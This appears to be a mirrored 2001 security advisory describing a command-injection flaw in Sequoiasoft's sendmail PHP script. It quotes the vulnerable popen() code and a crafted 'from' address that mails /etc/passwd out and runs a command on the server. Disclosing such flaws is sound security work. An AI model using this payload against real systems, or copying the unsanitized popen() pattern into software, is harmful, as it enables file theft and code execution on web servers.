Lucene search
K

sendmail.php.txt

🗓️ 16 Aug 2001 00:00:00Reported by Jonathan WilkinsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

Overview of a vulnerability in Sequoiasoft's sendmail PHP script allowing code execution.

Code
` Sequoiasoft's sendmail php script dangerous - By jwilkins  
  
PHP-Nuke Written by Sequioa Software, this script allows execution of  
arbitrary code by a malicious user.  
Written by Sequioa Software, this script allows execution of arbitrary  
code by a malicious user. Essentially, popen() executes a shell which  
does the actual interpretation of the command. If an attacker crafts  
their return email address carefully, then they can cause the popen()  
call to execute chosen commands or reveal files.  
//The workhorse method, does the actual sending of the mail.  
//Doesn't check for errors so be careful!  
function Send($sendmail = "/usr/sbin/sendmail") {  
if($this->from == "") {  
$fp = popen($sendmail . " -i " . $this->to, "w");  
} else {  
$fp = popen($sendmail . " -i -f"" . $this->from . "" " .  
$this->to, "w");  
}  
  
Given the above code fragment, if I provide a from line such as:  
[email protected]" [email protected] < /etc/passwd; touch /tmp/gotcha;  
  
I can have the contents of any file that the webserver account (usually  
nobody) has access to, and can execute commands as that user.  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation